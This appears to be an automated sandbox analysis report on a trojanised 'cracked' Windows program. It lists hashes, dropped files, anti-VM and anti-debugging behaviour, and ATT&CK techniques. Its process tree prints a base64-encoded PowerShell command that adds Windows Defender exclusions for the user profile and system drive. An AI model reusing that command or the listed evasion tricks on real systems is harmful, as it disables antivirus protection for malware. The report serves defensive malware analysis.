b2b2f51618eb9c8b7a81e61df2f2c16108f7d39d0900d51b80eea4a1f59ddf30

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-10-2024 19:14

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General

Target

Celex cracked.exe
Size

15.9MB
MD5

6b7e153aef00b59662756d085c82e757
SHA1

ba42614c6377a35ae6037e52f726da1e488c3880
SHA256

f9db7373af72d963cf924019ff3716eb96b8d6d95062a563820d45a6b64e6a94
SHA512

bc786c71fcb0ba2d7e5d6b0a2345af3fdfce1bbb7f000c4c6a8e62f40935c20f68ae7cf6337c8921a76b2c3595fac4c5d30ebc639231239f54895f5e4c867b51
SSDEEP

393216:PBM8GtN0UyJ25TWm09KGzYiLijWEjveWgCVLyPbmvg:PmNU2KEjWEX/Oiv

Score

9^/10

defense_evasion discovery evasion pyinstaller themida trojan upx

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	loader.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	loader.exe

Executes dropped EXE 4 IoCs

pid	Process
2100	Cracked.exe
2600	loader.exe
2636	Cracked.exe
1208	Process not Found

Loads dropped DLL 13 IoCs

pid	Process
2276	Celex cracked.exe
2276	Celex cracked.exe
2100	Cracked.exe
2636	Cracked.exe
2636	Cracked.exe
2636	Cracked.exe
2636	Cracked.exe
2636	Cracked.exe
2636	Cracked.exe
2636	Cracked.exe
1208	Process not Found
1208	Process not Found
1208	Process not Found

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x00070000000173fb-84.dat	themida
behavioral1/memory/2600-103-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-119-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-120-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-121-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-123-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-122-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-124-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida
behavioral1/memory/2600-136-0x000000013F380000-0x000000013FE1F000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	loader.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2600	loader.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001a506-115.dat	upx
behavioral1/memory/2636-117-0x000007FEF5EC0000-0x000007FEF64A8000-memory.dmp	upx

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0007000000012117-4.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Celex cracked.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2600	loader.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 2052	2276	Celex cracked.exe	30
PID 2276 wrote to memory of 2052	2276	Celex cracked.exe	30
PID 2276 wrote to memory of 2052	2276	Celex cracked.exe	30
PID 2276 wrote to memory of 2052	2276	Celex cracked.exe	30
PID 2276 wrote to memory of 2100	2276	Celex cracked.exe	32
PID 2276 wrote to memory of 2100	2276	Celex cracked.exe	32
PID 2276 wrote to memory of 2100	2276	Celex cracked.exe	32
PID 2276 wrote to memory of 2100	2276	Celex cracked.exe	32
PID 2276 wrote to memory of 2600	2276	Celex cracked.exe	33
PID 2276 wrote to memory of 2600	2276	Celex cracked.exe	33
PID 2276 wrote to memory of 2600	2276	Celex cracked.exe	33
PID 2276 wrote to memory of 2600	2276	Celex cracked.exe	33
PID 2100 wrote to memory of 2636	2100	Cracked.exe	34
PID 2100 wrote to memory of 2636	2100	Cracked.exe	34
PID 2100 wrote to memory of 2636	2100	Cracked.exe	34
PID 2600 wrote to memory of 2488	2600	loader.exe	36
PID 2600 wrote to memory of 2488	2600	loader.exe	36
PID 2600 wrote to memory of 2488	2600	loader.exe	36
PID 2488 wrote to memory of 572	2488	cmd.exe	38
PID 2488 wrote to memory of 572	2488	cmd.exe	38
PID 2488 wrote to memory of 572	2488	cmd.exe	38
PID 2488 wrote to memory of 1956	2488	cmd.exe	39
PID 2488 wrote to memory of 1956	2488	cmd.exe	39
PID 2488 wrote to memory of 1956	2488	cmd.exe	39
PID 2488 wrote to memory of 1792	2488	cmd.exe	40
PID 2488 wrote to memory of 1792	2488	cmd.exe	40
PID 2488 wrote to memory of 1792	2488	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\Celex cracked.exe
"C:\Users\Admin\AppData\Local\Temp\Celex cracked.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAYQBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAeQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAdABoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcQB4ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2052
- C:\Users\Admin\AppData\Local\Temp\Cracked.exe
  "C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Users\Admin\AppData\Local\Temp\Cracked.exe
    "C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2636
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\system32\certutil.exe
      certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\loader.exe" MD5
      4⤵
      PID:572
  - - C:\Windows\system32\find.exe
      find /i /v "md5"
      4⤵
      PID:1956
  - - C:\Windows\system32\find.exe
      find /i /v "certutil"
      4⤵
      PID:1792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-file-l1-2-0.dll

Filesize
21KB

MD5
1c58526d681efe507deb8f1935c75487

SHA1
0e6d328faf3563f2aae029bc5f2272fb7a742672

SHA256
ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2

SHA512
8edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-file-l2-1-0.dll

Filesize
18KB

MD5
bfffa7117fd9b1622c66d949bac3f1d7

SHA1
402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2

SHA256
1ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e

SHA512
b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-localization-l1-2-0.dll

Filesize
21KB

MD5
724223109e49cb01d61d63a8be926b8f

SHA1
072a4d01e01dbbab7281d9bd3add76f9a3c8b23b

SHA256
4e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210

SHA512
19b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-timezone-l1-1-0.dll

Filesize
21KB

MD5
d12403ee11359259ba2b0706e5e5111c

SHA1
03cc7827a30fd1dee38665c0cc993b4b533ac138

SHA256
f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781

SHA512
9004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21002\python311.dll

Filesize
1.6MB

MD5
db09c9bbec6134db1766d369c339a0a1

SHA1
c156d9f2d0e80b4cf41794cd9b8b1e8a352e0a0b

SHA256
b1aac1e461174bbae952434e4dac092590d72b9832a04457c94bd9bb7ee8ad79

SHA512
653a7fff6a2b6bffb9ea2c0b72ddb83c9c53d555e798eea47101b0d932358180a01af2b9dab9c27723057439c1eaffb8d84b9b41f6f9cd1c3c934f1794104d45

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21002\ucrtbase.dll

Filesize
992KB

MD5
0e0bac3d1dcc1833eae4e3e4cf83c4ef

SHA1
4189f4459c54e69c6d3155a82524bda7549a75a6

SHA256
8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae

SHA512
a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\loader.exe

Filesize
4.1MB

MD5
9ecdc9ed1bea6c226f92d740d43400b9

SHA1
b5b5066cd4284733d8c3f3d7de3ca6653091ae10

SHA256
60c57f14c2e0e0df0bda16646b21dddceaee0159dafbbb8daba310d4e1b5be6c

SHA512
30bc705a2438288e3647d5adfc6119d751823970972b9c6b39a60384a2b7ac261986026b8d1c0b0ca7ee3d7e95363c97b873fdc5fad4096c903cb4e15bf57e43

Download Submit
\Users\Admin\AppData\Local\Temp\Cracked.exe

Filesize
11.9MB

MD5
7b796de0cc48c748487fa96f88dd8183

SHA1
98e00ce046622f76d5b6eef609b6204f27bb1fca

SHA256
93371abea7c739d4e7933278a8e2f620df2a124b4d8255dfb7de82bbc2c2453c

SHA512
bad79165cc1fe6381e05df3ee3bcb3742392427be00d1df96635b7dba6af81706ac686e3cc2c1af25ecccafddfc8db1bd679159b0b9e90dffa32bbed9d1b2d8e

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
21KB

MD5
517eb9e2cb671ae49f99173d7f7ce43f

SHA1
4ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab

SHA256
57cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54

SHA512
492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be

Download Submit
memory/2276-102-0x0000000004EE0000-0x000000000597F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-119-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-103-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-120-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-121-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-123-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-122-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-124-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2600-136-0x000000013F380000-0x000000013FE1F000-memory.dmp

Filesize
10.6MB

Download
memory/2636-117-0x000007FEF5EC0000-0x000007FEF64A8000-memory.dmp

Filesize
5.9MB

Download